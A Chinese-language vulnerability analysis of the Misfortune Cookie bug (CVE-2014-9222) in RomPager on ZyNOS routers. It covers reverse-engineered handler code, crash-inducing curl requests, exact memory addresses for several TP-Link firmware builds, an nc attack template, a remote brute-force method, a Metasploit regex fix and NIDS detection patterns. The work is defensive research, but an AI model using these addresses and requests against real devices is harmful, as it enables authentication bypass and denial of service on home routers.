

# Misfortune Cookie漏洞再分析

安全研究部 陈庆

受影响的 RomPager 在处理 Cookie 时存在安全漏洞，攻击者通过发送精心构造的 Cookie 有可能绕过登录认证机制。这个漏洞被分配成 CVE-2014-9222。攻击者只需要向受影响的设备发送一个报文即可完成攻击。本文针对漏洞原理、漏洞利用技术进行了再分析，同时给出了 NIDS 检测方案。

## 一、ZyNOS 简介

ZyNOS 是 "ZyXEL Network Operating System" 的缩写，最早出现于 1998 年。

ZyXEL 即合勤科技，1989 年在台湾成立。

ZyNOS 是一种嵌入式实时操作系统 RTOS(ThreadX RTOS by Green Hills)，可以简单理解成 VxWorks、pSOS 那一类的，也可以理解成 Cisco IOS 之类的。没有普通意义上的文件系统、可执行程序，不区分用户态、内核态，代码、数据位于一个大的二进制映像文件中。但大映像中确实包含了图片、HTML 等内容，也能提供 WWW 服务。

设备加电启动时，较早期的引导组件负责将这个大映像文件从 Flash 直接加载到内存中固定地址，然后跳到指定位置继续执行。对于映像文件，一般最开始是自解压代码，负责将位于映像中部的各个压缩块解压，将控制权交给解压产生的代码。

ZyNOS 中使用了 AllegroSoft 出品的 RomPager，后者是一种 WWW Server。

ZyNOS 为很多家庭网络设备所用，比如 TP-Link、D-Link、华为、中兴等厂商生产的家庭网关、无线路由器，其部分型号就使用了 ZyNOS。至于这些厂商与 ZyXEL 的

合作方式是什么，不太清楚。

## 二、漏洞简介

2014 年 12 月 18 日，CheckPoint 披露名为 "Misfortune Cookie" 的漏洞，并给了一份受影响设备型号列表。相关厂商包括但不限于：

ASUS(华硕)

D-Link

Edimax

Huawei(华为)

TP-Link

ZTE(中兴)

ZyXEL(合勤科技)

受影响的 RomPager 在处理 Cookie 时存在安全漏洞, 攻击者通过发送精心构造的 Cookie 有可能绕过登录认证机制。这个漏洞被分配成 CVE-2014-9222。攻击者只需要向受影响的设备发送一个报文即可完成攻击。

CheckPoint 声称不需要额外的黑客工具, 只需要普通浏览器即可完成攻击。确实如此。

据称 RomPager 4.34 之前的版本, 尤其是 4.07 版存在该漏洞。

事实上 AllegroSoft 于 2005 年就已经确认该漏洞存在, 同时提供了 RomPager 升级版本。不知为何, 时至 2015 年, 仍有大批存在漏洞的 RomPager 存活于互联网上。

Misfortune Cookie 漏洞在安全圈的翻炒下升温很快。

### 三、漏洞原理

下面的伪 C 代码是针对 MIPS 汇编的逆向分析结果:

```
void PrivateHttpCookieHandler ( char * sth, char * cookie )
{
    unsigned int len;
    char *cookie_end,
        *p,
        *q;
```

```
char (*c)[40];
/*
 * 以 \r, \n 为结尾符获取字符串长度
 */
len = Private_strlen_1( cookie );
cookie_end = cookie + len;

p = cookie;
while ( p < cookie_end )
{
    if ( 'C' == *p )
    {
        /*
         * 'C' 后的字符所在
         */
        p++;
        /*
         * 寻找 '='
         */
        q = Private_strchr( p, '=' );
        /*
         * 将 '=' 清成 \0
         */
    }
}
```

```
    * 此处未检查 q 是否等于 NULL, 假设肯定能找到
    '=', 错误假设。
    */
    *q  = '\0';
    /*
    * 比如有 "C19=...", 此时 p 指向 "19", i 最终等于 19。
    *
    * 此处问题很多, p 指向的内存很可能不是我们想
    要的那种。
    *
    * curl -H 'Cookie: C' 192.168.1.1
    * curl -b 'C1=1;C' 192.168.1.1
    */
    index = Private_atoi( p );
    /*
    * ptr to cookie value
    */
    p  = q + 1
    /*
    * 以 \r、\n、\t、分号、逗号为结尾符获取字符串长度
    */
    len  = Private_strlen_2( p );
```

```
    /*
    * 单个 Cookie 结尾符所在
    */
    q  = p + len;
    /*
    * 单个 Cookie 结尾符清成 \0
    */
    *q  = '\0';
    /*
    * 某结构的固定偏移, 这里有一个二维数组, char[n][40]
    */
    c  = sth + 0x5F68;
    /*
    * 将 "cookie value" 复制到 c[index][40]
    *
    * 对于确定型号、版本的 Firmware, c 是固
    定的, index 和 p 指向的内容
    * 是客户端可控值, 这导致 "任意内存地址写" 漏洞。
    */
    Private_strncpy( c[index], p, 40 );
}
else
```

```
{
    /*
     * 寻找 '='
     */
    q = Private_strchr( p, '=' );
    if ( NULL != q )
    {
        /*
         * 以 \r、\n、\t、分号、逗号为结尾符获取字符串长度
         */
        len = Private_strlen_2( q );
        q = q + len;
    }
    else
    {
        q = p
    }
}
if ( q < cookie_end )
{
    /*
     * 下一个 Cookie
```

```
*/
    q++;
    /*
     * 越过空格、冒号、\t，返回指针
     */
    p = PrivateSkipSth( q );
}
else
{
    break;
}
} /* end of while */
return;
} /* end of PrivateHttpCookieHandler */
```

PrivateHttpCookieHandler() 用于处理来自客户端的 Cookie，这里存在几个漏洞。

它会在 Cookie 中寻找形如 "C<num>=<str>" 的数据，先找到 "C"，然后继续找 "="。它假设肯定能找到 "=", 并将 "=" 清成 "\0"。用于寻找 "=" 的函数有可能返回 NULL，程序中没有考虑这种情形，不管三七二十一地就将返回值当成有效指针，并将其指向内容清零。考虑：

```
curl -H 'Cookie: C' 192.168.1.1  
curl -b 'AnyKey=AnyValue;C' 192.168.1.1
```

这必将导致空指针写，崩溃。即使 Cookie 确实形如 "C<num>=<str>", 存在更致命的漏洞。<num> 实际是二维数组的一维下标：

```
char C_Array[10][40];
```

<num> 的有效范围是 [0,9]。<str> 会被复制到 <num> 对应的内存：

```
strncpy( C_Array[num], str, 40 );
```

由于正确使用了 strncpy(), 所以 <str> 本身超长不会造成缓冲区溢出。但程序没有对 <num> 进行范围检查，其可以是任意值，考虑 32-bits 整数回绕，<num> 甚至可以是负数。C\_Array 的地址对于确定型号、版本的目标设备而言，是一个固定值。通过控制 <num> 可以精确控制 strncpy() 的目标地址，而 <str> 也是可控的，这就形成 "任意内存地址写" 漏洞。

假设存在一个全局变量用于标识启用、禁用登录认证机制，利用前述漏洞改写全局变量，禁用登录认证机制，这就是 Misfortune Cookie 漏洞 (CVE-2014-9222) 的本质。

参看 "Misfortune Cookie (CVE-2014-9222) Demystified"。

```
> sys pswauthen 0
```

```
Do not need password authentication for configuration!
```

确实存在这样的全局变量，姑且称之为 auth\_byte。在 IDA 中

靠字符串的交叉引用间接定位 auth\_byte。

#### 四、某些 TP-Link 型号的相关数据

下面是在深入研究该漏洞过程中收集、整理的一批实验数据：

TD-8820

3.0.0 Build 091223 Rel.23304

C\_Array = 0x803C3018

authoff = 0x80397E69

TD-W8901G

1.0.2 Build 080522 Rel.37708 (这是 Piotr Bania 所用版本)

C\_Array = 0x803E9A40

authoff = 0x803AB30D

3.0.1 Build 100603 Rel.28484

C\_Array = 0x8041B3D4

authoff = 0x803DC701

3.0.1 Build 100901 Rel.23594

C\_Array = 0x80420554

authoff = 0x803E1829

6.0.0 Build 110119 Rel.25581

C\_Array = 0x804FA3E0

authoff = 0x804BB941

6.0.0 Build 110915 Rel.06942

```
C_Array = 0x80517454
```

```
authoff = 0x804D7CB9
```

TD-W8901N

1.0.0 Build 121121 Rel.08870 (这是 Cawan 所用版本)

```
C_Array = 0x804163D4
```

```
authoff = 0x8034FF94
```

TD-W8951ND

1.0.0 Build 100723 Rel.23035

```
C_Array = 0x803FD3F0
```

```
authoff = 0x803D2D61
```

TD-W8961ND

1.0.0 Build 100722 Rel.05210

```
C_Array = 0x803FD3F0
```

```
authoff = 0x803D2D61
```

```
C_Array + evilnum * 0x28 = authoff
```

这里所有的四则运算都是“模 0x100000000”四则运算。

要充分考虑这种情形：

```
(authoff - C_Array) % 0x28 != 0
```

此时 evilcookie 必须进行适当填充，这还得看实际被破坏数据是否无关大碍。

```
echo -ne "GET / HTTP/1.0\r\nCookie:
C<evilnum>=<evilcookie>\r\n\r\n" | nc -w 5 -n <target> 80
```

前面所列是用于攻击的精确数据，实测无误。为了避免为 Script Kids 所用，没有直接显示 evilnum、evilcookie。了解该漏洞原理的读者请自行推算。

## 五、漏洞利用技巧的探讨

我没有找到可能存在的神技巧快速、稳定地远程确定这些值：

```
C_Array
authoff
evilnum
evilcookie
```

不过我尝试了一些别的技术手段。向 victim 发送如下 HTTP 请求：

```
HEAD /rom-0 HTTP/1.0\r\n
Cookie: C<guessnum>=\r\n
\r\n
```

就 TP-Link 而言，在合适范围内暴力猜测 guessnum，有很大概率破坏下列两个字符串之一：

```
%a, %d %b %Y %H:%M:%S GMT  
application/octet-stream
```

此二者的改变会反映到 HTTP 响应中，从而可以远程识别。

考虑下列运算关系：

```
C_Array + guessnum * 0x28 = guesssoff  
C_Array + evilnum * 0x28 = authoff - off  
off = ( authoff - guesssoff ) mod 0x28  
evilnum = guessnum + ( authoff - guesssoff ) / 0x28
```

从上述运算关系中可以看到，evilnum 与 guessnum、"authoff-guesssoff" 相关，在已知 guessnum 的前提下，可以将猜测 evilnum 转换成猜测 "authoff-guesssoff"，后者是 auth\_byte 与 "%a, %d %b %Y %H:%M:%S GMT" 或 "application/octet-stream" 之间的相对偏移，这个相对偏移跨型号、跨版本之后，其范围相对有限。

理论上可以写程序暴力猜测 "authoff-guesssoff"。现实比较残酷，这是任意内存地址写漏洞，暴力猜测时天知道什么东西被破坏了，出麻烦的概率不小。

## 六、Metasploit 扫描插件

Metasploit 有个针对该漏洞的扫描插件：

```
allegro_rompager_misfortune_cookie.rb
```

本意是：

```
$ curl -i http://192.168.1.1/Allegro  
HTTP/1.1 200 OK  
Content-Type: text/html  
Date: Tue, 17 Mar 2015 10:35:27 GMT  
Pragma: no-cache  
Expires: Thu, 26 Oct 1995 00:00:00 GMT  
Transfer-Encoding: chunked  
Server: RomPager/4.07 UPnP/1.0  
EXT:  
<html>  
<head>  
<title>Allegro Copyright</title></head><body>  
RomPager Advanced Version 4.07<br>(C) 1995  
- 2002 Allegro Software Development Corporation  
</body></html>
```

从响应报文的 HTTP Header 中析取 "Server: ..."，然后从中析取 RomPager 版本号，最后判断其是否小于 4.34，是则报漏洞。

相应代码如下：

```

fp = http_fingerprint( response:res )
if /RomPager\/(?<version>[\d\.]+)$ / =~ fp
  if Gem::Version.new(version) < Gem::Version.new('4.34')

    report_vuln(
      host: ip,
      port: rport,
      name: name,
      refs: references
    )
  return Exploit::CheckCode::Appears

```

对于 192.168.1.1, fp 等于 "RomPager/4.07 UPnP/1.0", 插件所用正则表达式 "RomPager\/(?<version>[\d\.]+)\$" 无法匹配 fp, 导致漏报。插件作者 Jon Hart 可能缺少大规模扫描 banner 信息的经验。

前述插件中的正则表达式应该修改成：

```
RomPager\/(?<version>[\d\.]+).*
```

或

```
RomPager\/(?<version>[\d\.]+)
```

这里 <version> 表示将 "[\d\.]+" 的匹配内容析取并赋给名为 version 的变量。

## 七、NIDS 建议

对于 Misfortune Cookie 漏洞, 检查 HTTP 头中的 Cookie:

```
echo "Cookie: C0123456789=Anything" | grep -P
"^Cookie.*[;,: \t]+C\d{2,}="
```

"C0001=Anything" 虽然是无害的, 但不合常理, 上述正则表达式仍会命中。

```
echo "Cookie: AnyKey=AnyValue;C" | grep -P "^Cookie.*[;,:
\t]+C[^\=]*$"
echo "Cookie: C" | grep -P "^Cookie.*[;,: \t]+C[^\=]*$"
```

这是检查 "C" 后无 "=" 的情形, 纯 DoS。

合并一下正则表达式：

```
echo "Cookie: C0123456789=Anything" | grep -P
"^Cookie.*[;,: \t]+C(\d{2,}=[^\=]*$)"
```



---

## 八、其他

---

搞嵌入式设备的逆向工程，还是需要硬件调试技能，单纯靠软件技能，受限太大，有时完全不能达成目标。至少可以将板子上的 SERIAL(UART/RS232)、JTAG(EJTAG) 接出来，如果会用示波器、逻辑分析仪等更佳。

CheckPoint 的人手头一定有某个版本的 Zynos 源代码，比如 C\_Array 的一维下标范围是 [0,9]，单靠反汇编 RasCode 很难发现这点。他们提到了 Zynos 远程调试工具：

ZORDON - ZynOs Remote Debugger (Over the Network)

- Breakpoints
- View/Edit Memory and Registers

除了他们的 PDF 中有提，在互联网上搜 ZORDON，没有任何其他信息，我相信他们有这玩意儿。

---

## 九、参考文献

---

Hacking and patching TP-LINK TD-W8901G router - Piotr Bania <bania.piotr@gmail.com> [2014-01-31]

[http://piotrbania.com/all/articles/tplink\\_patch/](http://piotrbania.com/all/articles/tplink_patch/)

Misfortune Cookie Vulnerability - Lior Oppenheim [2014-12-18]

<http://mis.fortunecook.ie/>

<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-9222>

Misfortune Cookie Suspected  
Vulnerable List - [2014-12-22]

<http://mis.fortunecook.ie/misfortune-cookie-suspected-vulnerable.pdf>

一些 CVE-2014-9222 细节 - Shahar Tal, Lior Oppenheim [2014-12-29]

[http://mis.fortunecook.ie/too-many-cooks-exploiting-tr069\\_tal-oppenheim\\_31c3.pdf](http://mis.fortunecook.ie/too-many-cooks-exploiting-tr069_tal-oppenheim_31c3.pdf)

Misfortune Cookie (CVE-2014-9222)  
Demystified - Cawan <cawan@ieee.org>  
or <chuiyewleong@hotmail.com> [2015-02-16]

<http://cawanblog.blogspot.com/2015/02/misfortune-cookie-cve-2014-9222.html>

Allegro Software RomPager  
'Misfortune Cookie' (CVE-2014-9222)  
Scanner

[https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/allegro\\_rompager\\_misfortune\\_cookie.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb)